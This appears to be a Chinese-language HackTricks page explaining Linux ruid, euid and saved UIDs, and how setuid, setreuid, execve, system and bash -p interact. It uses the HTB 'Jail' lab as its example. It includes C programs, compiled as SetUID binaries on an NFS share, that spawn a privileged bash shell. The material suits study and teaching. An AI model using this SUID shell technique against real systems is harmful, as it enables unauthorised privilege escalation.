hacktricks/linux-hardening/privilege-escalation/euid-ruid-suid.md
2023-08-03 19:12:22 +00:00

13 KiB
Raw Blame History

euid, ruid, suid

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

本文摘自 https://0xdf.gitlab.io/2022/05/31/setuid-rabbithole.html#testing-on-jail

*uid

  • ruid: 这是启动进程的用户的真实用户ID
  • euid: 这是有效用户ID,是系统在决定进程应具有的特权时查找的值。在大多数情况下,euid将与ruid相同但SetUID二进制文件是一个例外情况它们的值不同。当SetUID二进制文件启动时euid设置为文件的所有者,这使得这些二进制文件能够正常工作。
  • suid: 这是保存的用户ID当特权进程大多数情况下以root身份运行需要放弃特权以执行某些操作,但需要恢复到特权状态时使用。

{% hint style="info" %} 如果非root进程想要更改其euid,它只能将其设置为**ruideuidsuid**的当前值。 {% endhint %}

set*uid

乍一看,很容易认为系统调用**setuid会设置ruid。实际上,对于特权进程来说,确实如此。但在一般情况下,它实际上是设置euid**。根据man页面

setuid() 设置调用进程的有效用户ID。如果调用进程具有特权更准确地说如果进程在其用户命名空间中具有CAP_SETUID功能则还会设置实际UID和保存的设置用户ID。

因此在以root身份运行setuid(0)的情况下它将所有ID设置为root并基本上将其锁定因为suid为0它丢失了任何先前用户的信息 - 当然root进程可以更改为任何用户

两个不太常见的系统调用**setreuidre表示真实和有效)和setresuid**res包括保存的设置了特定的ID。在非特权进程中这些调用受到限制来自man页面对于setresuid,尽管setreuid页面有类似的语言):

非特权进程可以将其真实UID、有效UID和保存的设置用户ID更改为以下之一当前真实UID、当前有效UID或当前保存的设置用户ID。

特权进程在Linux上具有CAP_SETUID功能的进程可以将其真实UID、有效UID和保存的设置用户ID设置为任意值。

重要的是要记住这些不是作为安全功能存在的而是反映了预期的工作流程。当程序想要切换到另一个用户时它会更改有效用户ID以便可以以该用户的身份执行操作。

作为攻击者,很容易养成只调用setuid的坏习惯因为最常见的情况是切换到root用户在这种情况下setuid实际上与setresuid相同。

执行

execve和其他execs

execve系统调用执行第一个参数中指定的程序。第二个和第三个参数是数组,分别是参数(argv)和环境(envp)。还有几个基于execve的系统调用,称为execman页面)。它们只是在execve之上提供不同的快捷方式调用execve的包装器。

关于它的工作原理,man页面上有很多详细信息。简而言之,当**execve启动一个程序**时,它使用与调用程序相同的内存空间,替换该程序,并新启动堆栈、堆和数据段。它清除程序的代码并将新程序写入该空间。

那么,在调用execve时,ruideuidsuid会发生什么变化它不会更改与进程关联的元数据。man页面明确说明

进程的真实UID和真实GID以及其附加组ID在调用execve()时不会更改

对于euid有更多细微差别的描述有一个更长的段落描述了发生的情况。不过它主要关注新程序是否设置了SetUID位。假设不是这种情况那么execve也不会更改euid

在调用execve时,suideuid复制过来:

进程的有效用户ID被复制到保存的设置用户ID类似地有效组ID被复制到保存的设置组ID。这种复制发生在由于设置用户ID和设置组ID模式位而发生的任何有效ID更改之后。

system

system是一种完全不同的启动新进程的方法。execve在同一进程内的进程级别上操作,而**system使用fork创建一个子进程**,然后使用execl在该子进程中执行:

execl("/bin/sh", "sh", "-c", command, (char *) NULL);

execl只是execve的一个包装器,它将字符串参数转换为argv数组并调用execve。需要注意的是**system使用sh来调用命令**。

sh和bash的SUID

bash有一个-p选项man页面将其描述为:

打开_特权_模式。在此模式下不处理$ENV和$BASH_ENV文件不从环境中继承shell函数如果环境中出现SHELLOPTSBASHOPTSCDPATHGLOBIGNORE变量则忽略它们。如果shell以有效用户ID不等于实际用户ID启动并且没有提供**-p选项**,则执行这些操作,并将有效用户ID设置为实际用户ID。如果在启动时提供了**-p选项,则不会重置有效用户ID**。关闭此选项会将有效用户和组ID设置为实际用户和组ID。

简而言之,如果没有-p当运行Bash时euid将设置为ruid-p可以防止这种情况

sh shell没有类似的功能man页面没有提到“用户ID”除非使用-i选项,该选项说明如下:

-i 指定shell为交互式请参见下文。如果调用进程的实际用户ID不等于有效用户ID或者实际组ID不等于有效组ID则实现可能将指定-i选项视为错误。

测试

setuid / system

有了这些背景知识我将使用这段代码并逐步介绍在JailHTB上发生的情况。

#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>

int main(void) {
setuid(1000);
system("id");
return 0;
}

这个程序在NFS上编译并设置为SetUID在Jail中

oxdf@hacky$ gcc a.c -o /mnt/nfsshare/a;
...[snip]...
oxdf@hacky$ chmod 4755 /mnt/nfsshare/a

作为root用户我可以看到这个文件

[root@localhost nfsshare]# ls -l a
-rwsr-xr-x. 1 frank frank 16736 May 30 04:58 a

当我以nobody身份运行此命令时id命令也会以nobody身份运行

bash-4.2$ $ ./a
uid=99(nobody) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0

该程序开始时,ruid为99nobodyeuid为1000frank。当它达到setuid调用时,这些值被设置。

然后调用system,我期望看到uid为99但也有一个euid为1000。为什么没有呢问题在于在这个发行版中sh被符号链接到bash

$ ls -l /bin/sh
lrwxrwxrwx. 1 root root 4 Jun 25  2017 /bin/sh -> bash

所以system调用/bin/sh sh -c id,实际上是/bin/bash bash -c id。当调用bash时,没有-p选项,它会看到ruid为99和euid为1000并将euid设置为99。

setreuid / system

为了验证这个理论,我将尝试用setreuid替换setuid

#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>

int main(void) {
setreuid(1000, 1000);
system("id");
return 0;
}

编译和权限:

oxdf@hacky$ gcc b.c -o /mnt/nfsshare/b; chmod 4755 /mnt/nfsshare/b

现在在Jail中现在id命令返回的是uid为1000的值

bash-4.2$ $ ./b
uid=1000(frank) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0

setreuid调用将ruideuid都设置为1000因此当system调用bash它们匹配事情就像是frank一样继续进行。

setuid / execve

如果我上面的理解是正确的那么我也可以不用担心搞乱用户ID而是调用execve因为它会继承现有的ID。这样做是可行的但也有陷阱。例如常见的代码可能如下所示

#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>

int main(void) {
setuid(1000);
execve("/usr/bin/id", NULL, NULL);
return 0;
}

没有环境变量为了简单起见我传递了NULL我需要在id上使用完整路径。这样可以正常工作,返回我期望的结果:

bash-4.2$ $ ./c
uid=99(nobody) gid=99(nobody) euid=1000(frank) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0

[r]uid 是99euid 是1000。

如果我尝试从中获取一个shell我必须小心。例如只是调用 bash

#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>

int main(void) {
setuid(1000);
execve("/bin/bash", NULL, NULL);
return 0;
}

我将编译它并设置SetUID

oxdf@hacky$ gcc d.c -o /mnt/nfsshare/d
oxdf@hacky$ chmod 4755 /mnt/nfsshare/d

然而这将返回所有的nobody用户

bash-4.2$ $ ./d
bash-4.2$ $ id
uid=99(nobody) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0

如果是setuid(0)那么它将正常工作假设进程有权限执行此操作因为它会将所有三个ID都更改为0。但作为非root用户这只会将euid设置为1000它本来就是1000然后调用sh。但是在Jail中shbash。当bash以99的ruid和1000的euid启动时,它会将euid降回99。

为了解决这个问题,我将调用bash -p

#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>

int main(void) {
char *const paramList[10] = {"/bin/bash", "-p", NULL};
setuid(1000);
execve(paramList[0], paramList, NULL);
return 0;
}

这次有 euid

bash-4.2$ $ ./e
bash-4.2$ $ id
uid=99(nobody) gid=99(nobody) euid=1000(frank) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0

或者我可以调用setreuidsetresuid而不是setuid

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥